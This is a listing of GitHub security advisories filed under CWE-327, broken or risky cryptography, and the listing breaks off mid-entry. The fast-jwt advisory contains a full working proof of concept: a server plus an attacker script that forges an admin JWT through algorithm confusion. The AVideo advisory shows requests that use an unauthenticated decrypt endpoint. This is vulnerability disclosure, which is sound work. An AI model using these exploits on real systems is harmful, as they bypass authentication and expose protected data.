CWE-327
Allowed-with-ReviewUse of a Broken or Risky Cryptographic Algorithm
Abstraction: Class · Status: Draft
The product uses a broken or risky cryptographic algorithm or protocol.
963 vulnerabilities reference this CWE, most recent first.
GHSA-MVF2-F6GM-W987
Vulnerability from github – Published: 2026-04-02 20:37 – Updated: 2026-04-07 17:06Summary
The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.
Details
The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a plain string used with .includes() to a regex used with .match():
// Before fix (vulnerable to original CVE)
const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
// .includes() matched anywhere in the string — not vulnerable to whitespace
// After fix (current code, line 28)
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
// ^ anchor requires match at position 0 — defeated by leading whitespace
In performDetectPublicKeyAlgorithms()
(https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):
function performDetectPublicKeyAlgorithms(key) {
const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!
if (key.match(privateKeyPemMatcher)) {
throw ...
} else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms
} else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
return hsAlgorithms // ← VULNERABLE: RSA key falls through here
}
When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the HMAC secret — the exact same attack as CVE-2023-48223.
Notably, the private key detection function does call .trim() before matching https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79: const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable
The public key path does not. This inconsistency is the root cause.
Leading whitespace in PEM key strings is common in real-world deployments: - PostgreSQL/MySQL text columns often return strings with leading newlines - YAML multiline strings (|, >) can introduce leading whitespace - Environment variables with embedded newlines - Copy-paste into configuration files
PoC
Victim server (server.js):
const http = require('node:http');
const { generateKeyPairSync } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const { createSigner, createVerifier } = require('fast-jwt');
const port = 3000;
// Generate RSA key pair
const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });
// Simulate real-world scenario: key retrieved from database with leading newline
const publicKeyFromDB = '\n' + publicKeyPem;
// Write public key to disk so attacker can recover it
fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${port}`);
// Endpoint to generate a JWT token with admin: false
if (url.pathname === '/generateToken') {
const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
const token = signSync(payload);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ token }));
return;
}
// Endpoint to check if you are the admin or not
if (url.pathname === '/checkAdmin') {
const token = url.searchParams.get('token');
try {
const verifySync = createVerifier({ key: publicKeyFromDB });
const payload = verifySync(token);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(payload));
} catch (err) {
res.writeHead(401, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: err.message }));
}
return;
}
res.writeHead(404);
res.end('Not found');
});
server.listen(port, () => console.log(`Server running on http://localhost:${port}`));
Attacker script (attacker.js):
const { createHmac } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const serverUrl = 'http://localhost:3000';
async function main() {
// Step 1: Get a legitimate token
const res = await fetch(`${serverUrl}/generateToken?name=attacker`);
const { token: legitimateToken } = await res.json();
console.log('Legitimate token payload:',
JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));
// Step 2: Recover the public key
// (In the original advisory: python3 jwt_forgery.py token1 token2)
const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');
// Step 3: Forge an HS256 token with admin: true
// (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({
admin: true, name: 'attacker',
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
})).toString('base64url');
const signature = createHmac('sha256', publicKey)
.update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + signature;
// Step 4: Present forged token to /checkAdmin
// 4a. Legitimate RS256 token — REJECTED
const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);
console.log('Legitimate RS256 token:', legRes.status, await legRes.json());
// 4b. Forged HS256 token — ACCEPTED
const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);
console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());
}
main().catch(console.error);
Running the PoC: # Terminal 1 node server.js
# Terminal 2 node attacker.js
Output: Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 } Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' } Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }
The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's forged HS256 token is accepted with admin: true.
Impact
Applications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier. This is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original CVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.1.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34950"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:37:54Z",
"nvd_published_at": "2026-04-06T16:16:38Z",
"severity": "CRITICAL"
},
"details": "### Summary\n The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.\n\n### Details\n The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a\n plain string used with .includes() to a regex used with .match():\n\n```\n // Before fix (vulnerable to original CVE)\n const publicKeyPemMatcher = \u0027-----BEGIN PUBLIC KEY-----\u0027\n // .includes() matched anywhere in the string \u2014 not vulnerable to whitespace\n\n // After fix (current code, line 28)\n const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n // ^ anchor requires match at position 0 \u2014 defeated by leading whitespace\n\n In performDetectPublicKeyAlgorithms()\n (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):\n\n function performDetectPublicKeyAlgorithms(key) {\n const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!\n\n if (key.match(privateKeyPemMatcher)) {\n throw ...\n } else if (publicKeyPemMatch \u0026\u0026 publicKeyPemMatch[1] === \u0027RSA\u0027) {\n return rsaAlgorithms // \u2190 correct path: restricts to RS/PS algorithms\n } else if (!publicKeyPemMatch \u0026\u0026 !key.includes(publicKeyX509CertMatcher)) {\n return hsAlgorithms // \u2190 VULNERABLE: RSA key falls through here\n }\n\n```\n When the key string has any leading whitespace (space, tab, \\n, \\r\\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA\n public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the\n HMAC secret \u2014 the exact same attack as CVE-2023-48223.\n\n Notably, the private key detection function does call .trim() before matching\n https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:\nconst pemData = key.trim().match(privateKeyPemMatcher) // trims \u2014 not vulnerable\n\n The public key path does not. This inconsistency is the root cause.\n\n Leading whitespace in PEM key strings is common in real-world deployments:\n - PostgreSQL/MySQL text columns often return strings with leading newlines\n - YAML multiline strings (|, \u003e) can introduce leading whitespace\n - Environment variables with embedded newlines\n - Copy-paste into configuration files\n\n### PoC\n Victim server (server.js):\n\n```\n const http = require(\u0027node:http\u0027);\n const { generateKeyPairSync } = require(\u0027node:crypto\u0027);\n const fs = require(\u0027node:fs\u0027);\n const path = require(\u0027node:path\u0027);\n const { createSigner, createVerifier } = require(\u0027fast-jwt\u0027);\n\n const port = 3000;\n\n // Generate RSA key pair\n const { publicKey, privateKey } = generateKeyPairSync(\u0027rsa\u0027, { modulusLength: 2048 });\n const publicKeyPem = publicKey.export({ type: \u0027pkcs1\u0027, format: \u0027pem\u0027 });\n const privateKeyPem = privateKey.export({ type: \u0027pkcs8\u0027, format: \u0027pem\u0027 });\n\n // Simulate real-world scenario: key retrieved from database with leading newline\n const publicKeyFromDB = \u0027\\n\u0027 + publicKeyPem;\n\n // Write public key to disk so attacker can recover it\n fs.writeFileSync(path.join(__dirname, \u0027public_key.pem\u0027), publicKeyFromDB);\n\n const server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${port}`);\n\n // Endpoint to generate a JWT token with admin: false\n if (url.pathname === \u0027/generateToken\u0027) {\n const payload = { admin: false, name: url.searchParams.get(\u0027name\u0027) || \u0027anonymous\u0027 };\n const signSync = createSigner({ algorithm: \u0027RS256\u0027, key: privateKeyPem });\n const token = signSync(payload);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ token }));\n return;\n }\n\n // Endpoint to check if you are the admin or not\n if (url.pathname === \u0027/checkAdmin\u0027) {\n const token = url.searchParams.get(\u0027token\u0027);\n try {\n const verifySync = createVerifier({ key: publicKeyFromDB });\n const payload = verifySync(token);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify(payload));\n } catch (err) {\n res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ error: err.message }));\n }\n return;\n }\n\n res.writeHead(404);\n res.end(\u0027Not found\u0027);\n });\n\n server.listen(port, () =\u003e console.log(`Server running on http://localhost:${port}`));\n```\n\n Attacker script (attacker.js):\n\n```\n const { createHmac } = require(\u0027node:crypto\u0027);\n const fs = require(\u0027node:fs\u0027);\n const path = require(\u0027node:path\u0027);\n\n const serverUrl = \u0027http://localhost:3000\u0027;\n\n async function main() {\n // Step 1: Get a legitimate token\n const res = await fetch(`${serverUrl}/generateToken?name=attacker`);\n const { token: legitimateToken } = await res.json();\n console.log(\u0027Legitimate token payload:\u0027,\n JSON.parse(Buffer.from(legitimateToken.split(\u0027.\u0027)[1], \u0027base64url\u0027)));\n\n // Step 2: Recover the public key\n // (In the original advisory: python3 jwt_forgery.py token1 token2)\n const publicKey = fs.readFileSync(path.join(__dirname, \u0027public_key.pem\u0027), \u0027utf8\u0027);\n\n // Step 3: Forge an HS256 token with admin: true\n // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)\n const header = Buffer.from(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027);\n const payload = Buffer.from(JSON.stringify({\n admin: true, name: \u0027attacker\u0027,\n iat: Math.floor(Date.now() / 1000),\n exp: Math.floor(Date.now() / 1000) + 3600\n })).toString(\u0027base64url\u0027);\n const signature = createHmac(\u0027sha256\u0027, publicKey)\n .update(header + \u0027.\u0027 + payload).digest(\u0027base64url\u0027);\n const forgedToken = header + \u0027.\u0027 + payload + \u0027.\u0027 + signature;\n\n // Step 4: Present forged token to /checkAdmin\n // 4a. Legitimate RS256 token \u2014 REJECTED\n const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);\n console.log(\u0027Legitimate RS256 token:\u0027, legRes.status, await legRes.json());\n\n // 4b. Forged HS256 token \u2014 ACCEPTED\n const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);\n console.log(\u0027Forged HS256 token:\u0027, forgedRes.status, await forgedRes.json());\n }\n\n main().catch(console.error);\n```\n\n Running the PoC:\n # Terminal 1\n node server.js\n\n # Terminal 2\n node attacker.js\n\n Output:\n Legitimate token payload: { admin: false, name: \u0027attacker\u0027, iat: 1774307691 }\n Legitimate RS256 token: 401 { error: \u0027The token algorithm is invalid.\u0027 }\n Forged HS256 token: 200 { admin: true, name: \u0027attacker\u0027, iat: 1774307691, exp: 1774311291 }\n\n The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker\u0027s\n forged HS256 token is accepted with admin: true.\n\n\n### Impact\nApplications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify\nfunction without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to\nsign arbitrary payloads which will be accepted by the verifier.\nThis is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original\nCVE: the attacker only needs knowledge of the server\u0027s RSA public key (which is public by definition).",
"id": "GHSA-mvf2-f6gm-w987",
"modified": "2026-04-07T17:06:17Z",
"published": "2026-04-02T20:37:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34950"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c2ff-88x2-x9pg"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key"
}
GHSA-MVQV-5Q67-W9VH
Vulnerability from github – Published: 2026-03-12 18:30 – Updated: 2026-03-27 18:31A Use of a Broken or Risky Cryptographic Algorithm vulnerability in Trane Tracer SC, Tracer SC+, and Tracer Concierge could allow an attacker to bypass authentication and gain root-level access to the device.
{
"affected": [],
"aliases": [
"CVE-2026-28252"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-12T18:16:23Z",
"severity": "CRITICAL"
},
"details": "A Use of a Broken or Risky Cryptographic Algorithm vulnerability in Trane Tracer SC, Tracer SC+, and Tracer Concierge could allow an attacker to bypass authentication and gain root-level access to the device.",
"id": "GHSA-mvqv-5q67-w9vh",
"modified": "2026-03-27T18:31:22Z",
"published": "2026-03-12T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28252"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-071-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MWJC-5J4X-R686
Vulnerability from github – Published: 2026-03-20 21:55 – Updated: 2026-03-25 14:32Summary
The API plugin exposes a decryptString action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., view/url2Embed.json.php), so any user can recover protected tokens/metadata. Severity: High.
Details
- Entry:
plugin/API/get.json.phpis unauthenticated. - Handler:
plugin/API/API.phpget_api_decryptString()(lines ~5945–5966):php $string = decryptString($_REQUEST['string']); return new ApiObject($string, empty($string));No APISecret or user check occurs before decrypting. - Public ciphertext source:
view/url2Embed.json.phpreturnsplayLink/playEmbedLink(encryptString(json_encode(...))) to any caller.
PoC
- Obtain ciphertext:
GET /view/url2Embed.json.php?url=https://example.com/video.mp4CopyplayLink. - Decrypt without auth: ``` POST /plugin/API/get.json.php?APIName=decryptString Content-Type: application/x-www-form-urlencoded
string= ``` Response contains the plaintext JSON (videoLink, title, users_id, etc.).
Impact
- Any encrypted payload produced by the platform can be decrypted by anyone.
- Leaks tokens/links intended to be confidential; enables replay and tampering where secrecy was assumed.
Mitigation
- Require API secret or authenticated/authorized user for
decryptString, or remove the endpoint. - Prefer one-way signatures (HMAC) instead of exposing generic decryption.
- Rotate encryption keys/salts after patch to invalidate exposed ciphertexts.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33512"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-312",
"CWE-326",
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T21:55:12Z",
"nvd_published_at": "2026-03-23T19:16:40Z",
"severity": "HIGH"
},
"details": "### Summary\nThe API plugin exposes a `decryptString` action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., `view/url2Embed.json.php`), so any user can recover protected tokens/metadata. Severity: High.\n\n### Details\n- Entry: `plugin/API/get.json.php` is unauthenticated.\n- Handler: `plugin/API/API.php` `get_api_decryptString()` (lines ~5945\u20135966):\n ```php\n $string = decryptString($_REQUEST[\u0027string\u0027]);\n return new ApiObject($string, empty($string));\n ```\n No APISecret or user check occurs before decrypting.\n- Public ciphertext source: `view/url2Embed.json.php` returns `playLink`/`playEmbedLink` (`encryptString(json_encode(...))`) to any caller.\n\n### PoC\n1. Obtain ciphertext:\n ```\n GET /view/url2Embed.json.php?url=https://example.com/video.mp4\n ```\n Copy `playLink`.\n2. Decrypt without auth:\n ```\n POST /plugin/API/get.json.php?APIName=decryptString\n Content-Type: application/x-www-form-urlencoded\n\n string=\u003cplayLink ciphertext\u003e\n ```\n Response contains the plaintext JSON (videoLink, title, users_id, etc.).\n\n### Impact\n- Any encrypted payload produced by the platform can be decrypted by anyone.\n- Leaks tokens/links intended to be confidential; enables replay and tampering where secrecy was assumed.\n\n### Mitigation\n- Require API secret or authenticated/authorized user for `decryptString`, or remove the endpoint.\n- Prefer one-way signatures (HMAC) instead of exposing generic decryption.\n- Rotate encryption keys/salts after patch to invalidate exposed ciphertexts.",
"id": "GHSA-mwjc-5j4x-r686",
"modified": "2026-03-25T14:32:36Z",
"published": "2026-03-20T21:55:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwjc-5j4x-r686"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33512"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/3fdeecef37bb88967a02ccc9b9acc8da95de1c13"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an unauthenticated decrypt oracle leaking any ciphertext"
}
GHSA-MWMH-V67H-98JP
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11Amazon AWS CloudFront TLSv1.2_2019 allows TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 and TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, which some entities consider to be weak ciphers.
{
"affected": [],
"aliases": [
"CVE-2020-36363"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-12T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Amazon AWS CloudFront TLSv1.2_2019 allows TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 and TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, which some entities consider to be weak ciphers.",
"id": "GHSA-mwmh-v67h-98jp",
"modified": "2022-05-24T19:11:09Z",
"published": "2022-05-24T19:11:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36363"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/about-aws/whats-new/2020/07/cloudfront-tls-security-policy"
},
{
"type": "WEB",
"url": "https://stackoverflow.com/questions/62071604"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MWQH-69HP-Q48J
Vulnerability from github – Published: 2022-12-19 15:30 – Updated: 2022-12-23 21:30A vulnerability, which was classified as problematic, has been found in Click Studios Passwordstate and Passwordstate Browser Extension Chrome. Affected by this issue is some unknown functionality. The manipulation leads to risky cryptographic algorithm. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-216272.
{
"affected": [],
"aliases": [
"CVE-2022-4610"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-19T15:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in Click Studios Passwordstate and Passwordstate Browser Extension Chrome. Affected by this issue is some unknown functionality. The manipulation leads to risky cryptographic algorithm. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-216272.",
"id": "GHSA-mwqh-69hp-q48j",
"modified": "2022-12-23T21:30:16Z",
"published": "2022-12-19T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4610"
},
{
"type": "WEB",
"url": "https://modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure/index.html"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.216272"
},
{
"type": "WEB",
"url": "https://www.modzero.com/static/MZ-22-03_Passwordstate_Security_Disclosure_Report-v1.0.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MWV7-MVH3-683P
Vulnerability from github – Published: 2023-07-13 00:30 – Updated: 2024-04-04 06:05there is a possible way to bypass cryptographic assurances due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2023-21399"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-13T00:15:24Z",
"severity": "HIGH"
},
"details": "there is a possible way to bypass cryptographic assurances due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\n",
"id": "GHSA-mwv7-mvh3-683p",
"modified": "2024-04-04T06:05:34Z",
"published": "2023-07-13T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21399"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2023-07-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P373-F88M-9RM3
Vulnerability from github – Published: 2025-01-27 18:32 – Updated: 2025-08-18 18:30IBM MQ Container 3.0.0, 3.0.1, 3.1.0 through 3.1.3 CD, 2.0.0 LTS through 2.0.22 LTS and 2.4.0 through 2.4.8, 2.3.0 through 2.3.3, 2.2.0 through 2.2.2 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-27256"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-27T17:15:15Z",
"severity": "MODERATE"
},
"details": "IBM MQ Container 3.0.0, 3.0.1, 3.1.0 through 3.1.3 CD, 2.0.0 LTS through 2.0.22 LTS and\u00a02.4.0 through 2.4.8, 2.3.0 through 2.3.3, 2.2.0 through 2.2.2 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.",
"id": "GHSA-p373-f88m-9rm3",
"modified": "2025-08-18T18:30:33Z",
"published": "2025-01-27T18:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27256"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7157667"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P37P-7H4R-XMH4
Vulnerability from github – Published: 2025-02-19 18:32 – Updated: 2025-02-19 18:32IBM Cognos Controller 11.0.0 through 11.0.1 FP3 and IBM Controller 11.1.0 Rich Client
uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-28780"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-19T16:15:39Z",
"severity": "MODERATE"
},
"details": "IBM Cognos Controller 11.0.0 through 11.0.1 FP3 and IBM Controller 11.1.0 Rich Client\u00a0\n\n\n\n\n\nuses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.",
"id": "GHSA-p37p-7h4r-xmh4",
"modified": "2025-02-19T18:32:22Z",
"published": "2025-02-19T18:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28780"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7183597"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P3M4-MWPV-24Q7
Vulnerability from github – Published: 2025-09-24 00:30 – Updated: 2025-09-24 00:30The use of a broken or risky cryptographic algorithm was discovered in firmware version 3.60 of the Click Plus PLC. The vulnerability relies on the fact that the software uses an insecure implementation of the RSA encryption algorithm.
{
"affected": [],
"aliases": [
"CVE-2025-59484"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-23T22:15:34Z",
"severity": "HIGH"
},
"details": "The use of a broken or risky cryptographic algorithm was discovered in firmware version 3.60 of the Click Plus PLC. The vulnerability relies on the fact that the software uses an insecure implementation of the RSA encryption algorithm.",
"id": "GHSA-p3m4-mwpv-24q7",
"modified": "2025-09-24T00:30:41Z",
"published": "2025-09-24T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59484"
},
{
"type": "WEB",
"url": "https://www.automationdirect.com/support/software-downloads"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-266-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P3PF-MFF8-3H47
Vulnerability from github – Published: 2024-08-06 21:30 – Updated: 2024-08-07 14:17An issue discovered in the RunHTTPServer function in Gorush v1.18.4 allows attackers to intercept and manipulate data due to use of deprecated TLS version.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/appleboy/gorush"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-41270"
],
"database_specific": {
"cwe_ids": [
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-07T14:17:11Z",
"nvd_published_at": "2024-08-06T21:16:03Z",
"severity": "MODERATE"
},
"details": "An issue discovered in the RunHTTPServer function in Gorush v1.18.4 allows attackers to intercept and manipulate data due to use of deprecated TLS version.",
